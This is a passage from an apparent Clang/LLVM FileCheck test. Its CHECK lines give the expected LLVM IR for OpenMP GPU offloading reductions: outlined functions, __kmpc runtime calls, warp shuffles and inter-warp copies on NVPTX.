[[TMP5]] // CHECK1-NEXT: [[TMP10:%.*]] = bitcast float* [[TMP9]] to i8* // CHECK1-NEXT: store i8* [[TMP10]], i8** [[TMP8]], align 8 // CHECK1-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK1-NEXT: [[TMP12:%.*]] = load i8*, i8** [[DOTADDR2]], align 8 // CHECK1-NEXT: call void @"_omp$reduction$reduction_func2"(i8* [[TMP12]], i8* [[TMP11]]) #[[ATTR3]] // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@{{__omp_offloading_[0-9a-z]+_[0-9a-z]+}}__Z9ftemplateIcET_i_l33 // CHECK1-SAME: (i64 [[A:%.*]], i64 [[B:%.*]]) #[[ATTR0]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[A_ADDR:%.*]] = alloca i64, align 8 // CHECK1-NEXT: [[B_ADDR:%.*]] = alloca i64, align 8 // CHECK1-NEXT: [[DOTZERO_ADDR:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTTHREADID_TEMP_:%.*]] = alloca i32, align 4 // CHECK1-NEXT: store i64 [[A]], i64* [[A_ADDR]], align 8 // CHECK1-NEXT: store i64 [[B]], i64* [[B_ADDR]], align 8 // CHECK1-NEXT: [[CONV:%.*]] = bitcast i64* [[A_ADDR]] to i32* // CHECK1-NEXT: [[CONV1:%.*]] = bitcast i64* [[B_ADDR]] to i16* // CHECK1-NEXT: [[TMP0:%.*]] = call i32 @__kmpc_target_init(%struct.ident_t* @[[GLOB1]], i8 2, i1 false, i1 true) // CHECK1-NEXT: [[EXEC_USER_CODE:%.*]] = icmp eq i32 [[TMP0]], -1 // CHECK1-NEXT: br i1 [[EXEC_USER_CODE]], label [[USER_CODE_ENTRY:%.*]], label [[WORKER_EXIT:%.*]] // CHECK1: user_code.entry: // CHECK1-NEXT: [[TMP1:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3:[0-9]+]]) // CHECK1-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK1-NEXT: store i32 [[TMP1]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK1-NEXT: call void @__omp_outlined__9(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], i32* [[CONV]], i16* [[CONV1]]) #[[ATTR3]] // CHECK1-NEXT: call void @__kmpc_target_deinit(%struct.ident_t* @[[GLOB1]], i8 2, i1 true) // CHECK1-NEXT: ret void // CHECK1: worker.exit: // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@__omp_outlined__9 // CHECK1-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i32* nonnull align 4 dereferenceable(4) [[A:%.*]], i16* nonnull align 2 dereferenceable(2) [[B:%.*]]) #[[ATTR0]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 8 // CHECK1-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 8 // CHECK1-NEXT: [[A_ADDR:%.*]] = alloca i32*, align 8 // CHECK1-NEXT: [[B_ADDR:%.*]] = alloca i16*, align 8 // CHECK1-NEXT: [[A1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[B2:%.*]] = alloca i16, align 2 // CHECK1-NEXT: [[CAPTURED_VARS_ADDRS:%.*]] = alloca [2 x i8*], align 8 // CHECK1-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 8 // CHECK1-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 8 // CHECK1-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 8 // CHECK1-NEXT: store i32* [[A]], i32** [[A_ADDR]], align 8 // CHECK1-NEXT: store i16* [[B]], i16** [[B_ADDR]], align 8 // CHECK1-NEXT: [[TMP0:%.*]] = load i32*, i32** [[A_ADDR]], align 8 // CHECK1-NEXT: [[TMP1:%.*]] = load i16*, i16** [[B_ADDR]], align 8 // CHECK1-NEXT: store i32 0, i32* [[A1]], align 4 // CHECK1-NEXT: store i16 -32768, i16* [[B2]], align 2 // CHECK1-NEXT: [[TMP2:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[CAPTURED_VARS_ADDRS]], i64 0, i64 0 // CHECK1-NEXT: [[TMP3:%.*]] = bitcast i32* [[A1]] to i8* // CHECK1-NEXT: store i8* [[TMP3]], i8** [[TMP2]], align 8 // CHECK1-NEXT: [[TMP4:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[CAPTURED_VARS_ADDRS]], i64 0, i64 1 // CHECK1-NEXT: [[TMP5:%.*]] = bitcast i16* [[B2]] to i8* // CHECK1-NEXT: store i8* [[TMP5]], i8** [[TMP4]], align 8 // CHECK1-NEXT: [[TMP6:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 8 // CHECK1-NEXT: [[TMP7:%.*]] = load i32, i32* [[TMP6]], align 4 // CHECK1-NEXT: [[TMP8:%.*]] = bitcast [2 x i8*]* [[CAPTURED_VARS_ADDRS]] to i8** // CHECK1-NEXT: call void @__kmpc_parallel_51(%struct.ident_t* @[[GLOB3]], i32 [[TMP7]], i32 1, i32 -1, i32 -1, i8* bitcast (void (i32*, i32*, i32*, i16*)* @__omp_outlined__10 to i8*), i8* null, i8** [[TMP8]], i64 2) // CHECK1-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i64 0, i64 0 // CHECK1-NEXT: [[TMP10:%.*]] = bitcast i32* [[A1]] to i8* // CHECK1-NEXT: store i8* [[TMP10]], i8** [[TMP9]], align 8 // CHECK1-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i64 0, i64 1 // CHECK1-NEXT: [[TMP12:%.*]] = bitcast i16* [[B2]] to i8* // CHECK1-NEXT: store i8* [[TMP12]], i8** [[TMP11]], align 8 // CHECK1-NEXT: [[TMP13:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK1-NEXT: [[TMP14:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 8 // CHECK1-NEXT: [[TMP15:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB3]], i32 [[TMP7]], i8* [[TMP14]], i32 1024, i8* [[TMP13]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func15, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func16, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func17, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func18, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func19, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func20) // CHECK1-NEXT: [[TMP16:%.*]] = icmp eq i32 [[TMP15]], 1 // CHECK1-NEXT: br i1 [[TMP16]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK1: .omp.reduction.then: // CHECK1-NEXT: [[TMP17:%.*]] = load i32, i32* [[TMP0]], align 4 // CHECK1-NEXT: [[TMP18:%.*]] = load i32, i32* [[A1]], align 4 // CHECK1-NEXT: [[OR:%.*]] = or i32 [[TMP17]], [[TMP18]] // CHECK1-NEXT: store i32 [[OR]], i32* [[TMP0]], align 4 // CHECK1-NEXT: [[TMP19:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK1-NEXT: [[CONV:%.*]] = sext i16 [[TMP19]] to i32 // CHECK1-NEXT: [[TMP20:%.*]] = load i16, i16* [[B2]], align 2 // CHECK1-NEXT: [[CONV3:%.*]] = sext i16 [[TMP20]] to i32 // CHECK1-NEXT: [[CMP:%.*]] = icmp sgt i32 [[CONV]], [[CONV3]] // CHECK1-NEXT: br i1 [[CMP]], label [[COND_TRUE:%.*]], label [[COND_FALSE:%.*]] // CHECK1: cond.true: // CHECK1-NEXT: [[TMP21:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK1-NEXT: br label [[COND_END:%.*]] // CHECK1: cond.false: // CHECK1-NEXT: [[TMP22:%.*]] = load i16, i16* [[B2]], align 2 // CHECK1-NEXT: br label [[COND_END]] // CHECK1: cond.end: // CHECK1-NEXT: [[COND:%.*]] = phi i16 [ [[TMP21]], [[COND_TRUE]] ], [ [[TMP22]], [[COND_FALSE]] ] // CHECK1-NEXT: store i16 [[COND]], i16* [[TMP1]], align 2 // CHECK1-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP7]]) // CHECK1-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK1: .omp.reduction.done: // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@__omp_outlined__10 // CHECK1-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i32* nonnull align 4 dereferenceable(4) [[A:%.*]], i16* nonnull align 2 dereferenceable(2) [[B:%.*]]) #[[ATTR0]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 8 // CHECK1-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 8 // CHECK1-NEXT: [[A_ADDR:%.*]] = alloca i32*, align 8 // CHECK1-NEXT: [[B_ADDR:%.*]] = alloca i16*, align 8 // CHECK1-NEXT: [[A1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[B2:%.*]] = alloca i16, align 2 // CHECK1-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 8 // CHECK1-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 8 // CHECK1-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 8 // CHECK1-NEXT: store i32* [[A]], i32** [[A_ADDR]], align 8 // CHECK1-NEXT: store i16* [[B]], i16** [[B_ADDR]], align 8 // CHECK1-NEXT: [[TMP0:%.*]] = load i32*, i32** [[A_ADDR]], align 8 // CHECK1-NEXT: [[TMP1:%.*]] = load i16*, i16** [[B_ADDR]], align 8 // CHECK1-NEXT: store i32 0, i32* [[A1]], align 4 // CHECK1-NEXT: store i16 -32768, i16* [[B2]], align 2 // CHECK1-NEXT: [[TMP2:%.*]] = load i32, i32* [[A1]], align 4 // CHECK1-NEXT: [[OR:%.*]] = or i32 [[TMP2]], 1 // CHECK1-NEXT: store i32 [[OR]], i32* [[A1]], align 4 // CHECK1-NEXT: [[TMP3:%.*]] = load i16, i16* [[B2]], align 2 // CHECK1-NEXT: [[CONV:%.*]] = sext i16 [[TMP3]] to i32 // CHECK1-NEXT: [[CMP:%.*]] = icmp sgt i32 99, [[CONV]] // CHECK1-NEXT: br i1 [[CMP]], label [[COND_TRUE:%.*]], label [[COND_FALSE:%.*]] // CHECK1: cond.true: // CHECK1-NEXT: br label [[COND_END:%.*]] // CHECK1: cond.false: // CHECK1-NEXT: [[TMP4:%.*]] = load i16, i16* [[B2]], align 2 // CHECK1-NEXT: [[CONV3:%.*]] = sext i16 [[TMP4]] to i32 // CHECK1-NEXT: br label [[COND_END]] // CHECK1: cond.end: // CHECK1-NEXT: [[COND:%.*]] = phi i32 [ 99, [[COND_TRUE]] ], [ [[CONV3]], [[COND_FALSE]] ] // CHECK1-NEXT: [[CONV4:%.*]] = trunc i32 [[COND]] to i16 // CHECK1-NEXT: store i16 [[CONV4]], i16* [[B2]], align 2 // CHECK1-NEXT: [[TMP5:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 8 // CHECK1-NEXT: [[TMP6:%.*]] = load i32, i32* [[TMP5]], align 4 // CHECK1-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i64 0, i64 0 // CHECK1-NEXT: [[TMP8:%.*]] = bitcast i32* [[A1]] to i8* // CHECK1-NEXT: store i8* [[TMP8]], i8** [[TMP7]], align 8 // CHECK1-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i64 0, i64 1 // CHECK1-NEXT: [[TMP10:%.*]] = bitcast i16* [[B2]] to i8* // CHECK1-NEXT: store i8* [[TMP10]], i8** [[TMP9]], align 8 // CHECK1-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK1-NEXT: [[TMP12:%.*]] = call i32 @__kmpc_nvptx_parallel_reduce_nowait_v2(%struct.ident_t* @[[GLOB3]], i32 [[TMP6]], i32 2, i64 16, i8* [[TMP11]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func12, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func13) // CHECK1-NEXT: [[TMP13:%.*]] = icmp eq i32 [[TMP12]], 1 // CHECK1-NEXT: br i1 [[TMP13]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK1: .omp.reduction.then: // CHECK1-NEXT: [[TMP14:%.*]] = load i32, i32* [[TMP0]], align 4 // CHECK1-NEXT: [[TMP15:%.*]] = load i32, i32* [[A1]], align 4 // CHECK1-NEXT: [[OR5:%.*]] = or i32 [[TMP14]], [[TMP15]] // CHECK1-NEXT: store i32 [[OR5]], i32* [[TMP0]], align 4 // CHECK1-NEXT: [[TMP16:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK1-NEXT: [[CONV6:%.*]] = sext i16 [[TMP16]] to i32 // CHECK1-NEXT: [[TMP17:%.*]] = load i16, i16* [[B2]], align 2 // CHECK1-NEXT: [[CONV7:%.*]] = sext i16 [[TMP17]] to i32 // CHECK1-NEXT: [[CMP8:%.*]] = icmp sgt i32 [[CONV6]], [[CONV7]] // CHECK1-NEXT: br i1 [[CMP8]], label [[COND_TRUE9:%.*]], label [[COND_FALSE10:%.*]] // CHECK1: cond.true9: // CHECK1-NEXT: [[TMP18:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK1-NEXT: br label [[COND_END11:%.*]] // CHECK1: cond.false10: // CHECK1-NEXT: [[TMP19:%.*]] = load i16, i16* [[B2]], align 2 // CHECK1-NEXT: br label [[COND_END11]] // CHECK1: cond.end11: // CHECK1-NEXT: [[COND12:%.*]] = phi i16 [ [[TMP18]], [[COND_TRUE9]] ], [ [[TMP19]], [[COND_FALSE10]] ] // CHECK1-NEXT: store i16 [[COND12]], i16* [[TMP1]], align 2 // CHECK1-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP6]]) // CHECK1-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK1: .omp.reduction.done: // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func12 // CHECK1-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK1-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK1-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK1-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 8 // CHECK1-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca i16, align 2 // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK1-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK1-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK1-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK1-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK1-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK1-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK1-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i64 0, i64 0 // CHECK1-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 8 // CHECK1-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i64 0, i64 0 // CHECK1-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to i32* // CHECK1-NEXT: [[TMP13:%.*]] = getelementptr i32, i32* [[TMP12]], i64 1 // CHECK1-NEXT: [[TMP14:%.*]] = bitcast i32* [[TMP13]] to i8* // CHECK1-NEXT: [[TMP15:%.*]] = load i32, i32* [[TMP12]], align 4 // CHECK1-NEXT: [[TMP16:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK1-NEXT: [[TMP17:%.*]] = trunc i32 [[TMP16]] to i16 // CHECK1-NEXT: [[TMP18:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP15]], i16 [[TMP7]], i16 [[TMP17]]) // CHECK1-NEXT: store i32 [[TMP18]], i32* [[DOTOMP_REDUCTION_ELEMENT]], align 4 // CHECK1-NEXT: [[TMP19:%.*]] = getelementptr i32, i32* [[TMP12]], i64 1 // CHECK1-NEXT: [[TMP20:%.*]] = getelementptr i32, i32* [[DOTOMP_REDUCTION_ELEMENT]], i64 1 // CHECK1-NEXT: [[TMP21:%.*]] = bitcast i32* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK1-NEXT: store i8* [[TMP21]], i8** [[TMP11]], align 8 // CHECK1-NEXT: [[TMP22:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i64 0, i64 1 // CHECK1-NEXT: [[TMP23:%.*]] = load i8*, i8** [[TMP22]], align 8 // CHECK1-NEXT: [[TMP24:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i64 0, i64 1 // CHECK1-NEXT: [[TMP25:%.*]] = bitcast i8* [[TMP23]] to i16* // CHECK1-NEXT: [[TMP26:%.*]] = getelementptr i16, i16* [[TMP25]], i64 1 // CHECK1-NEXT: [[TMP27:%.*]] = bitcast i16* [[TMP26]] to i8* // CHECK1-NEXT: [[TMP28:%.*]] = load i16, i16* [[TMP25]], align 2 // CHECK1-NEXT: [[TMP29:%.*]] = sext i16 [[TMP28]] to i32 // CHECK1-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK1-NEXT: [[TMP31:%.*]] = trunc i32 [[TMP30]] to i16 // CHECK1-NEXT: [[TMP32:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP29]], i16 [[TMP7]], i16 [[TMP31]]) // CHECK1-NEXT: [[TMP33:%.*]] = trunc i32 [[TMP32]] to i16 // CHECK1-NEXT: store i16 [[TMP33]], i16* [[DOTOMP_REDUCTION_ELEMENT4]], align 2 // CHECK1-NEXT: [[TMP34:%.*]] = getelementptr i16, i16* [[TMP25]], i64 1 // CHECK1-NEXT: [[TMP35:%.*]] = getelementptr i16, i16* [[DOTOMP_REDUCTION_ELEMENT4]], i64 1 // CHECK1-NEXT: [[TMP36:%.*]] = bitcast i16* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK1-NEXT: store i8* [[TMP36]], i8** [[TMP24]], align 8 // CHECK1-NEXT: [[TMP37:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK1-NEXT: [[TMP38:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK1-NEXT: [[TMP39:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK1-NEXT: [[TMP40:%.*]] = and i1 [[TMP38]], [[TMP39]] // CHECK1-NEXT: [[TMP41:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK1-NEXT: [[TMP42:%.*]] = and i16 [[TMP6]], 1 // CHECK1-NEXT: [[TMP43:%.*]] = icmp eq i16 [[TMP42]], 0 // CHECK1-NEXT: [[TMP44:%.*]] = and i1 [[TMP41]], [[TMP43]] // CHECK1-NEXT: [[TMP45:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK1-NEXT: [[TMP46:%.*]] = and i1 [[TMP44]], [[TMP45]] // CHECK1-NEXT: [[TMP47:%.*]] = or i1 [[TMP37]], [[TMP40]] // CHECK1-NEXT: [[TMP48:%.*]] = or i1 [[TMP47]], [[TMP46]] // CHECK1-NEXT: br i1 [[TMP48]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK1: then: // CHECK1-NEXT: [[TMP49:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK1-NEXT: [[TMP50:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK1-NEXT: call void @"_omp$reduction$reduction_func11"(i8* [[TMP49]], i8* [[TMP50]]) #[[ATTR3]] // CHECK1-NEXT: br label [[IFCONT:%.*]] // CHECK1: else: // CHECK1-NEXT: br label [[IFCONT]] // CHECK1: ifcont: // CHECK1-NEXT: [[TMP51:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK1-NEXT: [[TMP52:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK1-NEXT: [[TMP53:%.*]] = and i1 [[TMP51]], [[TMP52]] // CHECK1-NEXT: br i1 [[TMP53]], label [[THEN5:%.*]], label [[ELSE6:%.*]] // CHECK1: then5: // CHECK1-NEXT: [[TMP54:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i64 0, i64 0 // CHECK1-NEXT: [[TMP55:%.*]] = load i8*, i8** [[TMP54]], align 8 // CHECK1-NEXT: [[TMP56:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i64 0, i64 0 // CHECK1-NEXT: [[TMP57:%.*]] = load i8*, i8** [[TMP56]], align 8 // CHECK1-NEXT: [[TMP58:%.*]] = bitcast i8* [[TMP55]] to i32* // CHECK1-NEXT: [[TMP59:%.*]] = bitcast i8* [[TMP57]] to i32* // CHECK1-NEXT: [[TMP60:%.*]] = load i32, i32* [[TMP58]], align 4 // CHECK1-NEXT: store i32 [[TMP60]], i32* [[TMP59]], align 4 // CHECK1-NEXT: [[TMP61:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i64 0, i64 1 // CHECK1-NEXT: [[TMP62:%.*]] = load i8*, i8** [[TMP61]], align 8 // CHECK1-NEXT: [[TMP63:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i64 0, i64 1 // CHECK1-NEXT: [[TMP64:%.*]] = load i8*, i8** [[TMP63]], align 8 // CHECK1-NEXT: [[TMP65:%.*]] = bitcast i8* [[TMP62]] to i16* // CHECK1-NEXT: [[TMP66:%.*]] = bitcast i8* [[TMP64]] to i16* // CHECK1-NEXT: [[TMP67:%.*]] = load i16, i16* [[TMP65]], align 2 // CHECK1-NEXT: store i16 [[TMP67]], i16* [[TMP66]], align 2 // CHECK1-NEXT: br label [[IFCONT7:%.*]] // CHECK1: else6: // CHECK1-NEXT: br label [[IFCONT7]] // CHECK1: ifcont7: // CHECK1-NEXT: ret void // // // CHECK1-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func13 // CHECK1-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR2]] { // CHECK1-NEXT: entry: // CHECK1-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 8 // CHECK1-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK1-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3]]) // CHECK1-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 8 // CHECK1-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[TMP3:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK1-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK1-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[TMP4]], 31 // CHECK1-NEXT: [[TMP5:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK1-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[TMP5]], 5 // CHECK1-NEXT: [[TMP6:%.*]] = load i8*, i8** [[DOTADDR]], align 8 // CHECK1-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to [2 x i8*]* // CHECK1-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4:[0-9]+]], i32 [[TMP2]]) // CHECK1-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK1-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK1: then: // CHECK1-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i64 0, i64 0 // CHECK1-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 8 // CHECK1-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK1-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK1-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP10]], align 4 // CHECK1-NEXT: store volatile i32 [[TMP12]], i32 addrspace(3)* [[TMP11]], align 4 // CHECK1-NEXT: br label [[IFCONT:%.*]] // CHECK1: else: // CHECK1-NEXT: br label [[IFCONT]] // CHECK1: ifcont: // CHECK1-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK1-NEXT: [[TMP13:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK1-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[TMP3]], [[TMP13]] // CHECK1-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN2:%.*]], label [[ELSE3:%.*]] // CHECK1: then2: // CHECK1-NEXT: [[TMP14:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK1-NEXT: [[TMP15:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i64 0, i64 0 // CHECK1-NEXT: [[TMP16:%.*]] = load i8*, i8** [[TMP15]], align 8 // CHECK1-NEXT: [[TMP17:%.*]] = bitcast i8* [[TMP16]] to i32* // CHECK1-NEXT: [[TMP18:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP14]], align 4 // CHECK1-NEXT: store i32 [[TMP18]], i32* [[TMP17]], align 4 // CHECK1-NEXT: br label [[IFCONT4:%.*]] // CHECK1: else3: // CHECK1-NEXT: br label [[IFCONT4]] // CHECK1: ifcont4: // CHECK1-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK1-NEXT: [[WARP_MASTER5:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK1-NEXT: br i1 [[WARP_MASTER5]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK1: then6: // CHECK1-NEXT: [[TMP19:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i64 0, i64 1 // CHECK1-NEXT: [[TMP20:%.*]] = load i8*, i8** [[TMP19]], align 8 // CHECK1-NEXT: [[TMP21:%.*]] = bitcast i8* [[TMP20]] to i16* // CHECK1-NEXT: [[TMP22:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK1-NEXT: [[TMP23:%.*]] = bitcast i32 addrspace(3)* [[TMP22]] to i16 addrspace(3)* // CHECK1-NEXT: [[TMP24:%.*]] = load i16, i16* [[TMP21]], align 2 // CHECK1-NEXT: store volatile i16 [[TMP24]], i16 addrspace(3)* [[TMP23]], align 2 // CHECK1-NEXT: br label [[IFCONT8:%.*]] // CHECK1: else7: // CHECK1-NEXT: br label [[IFCONT8]] // CHECK1: ifcont8: // CHECK1-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK1-NEXT: [[TMP25:%.*]] = load i32, i32* [[DOTADDR1]], align 4 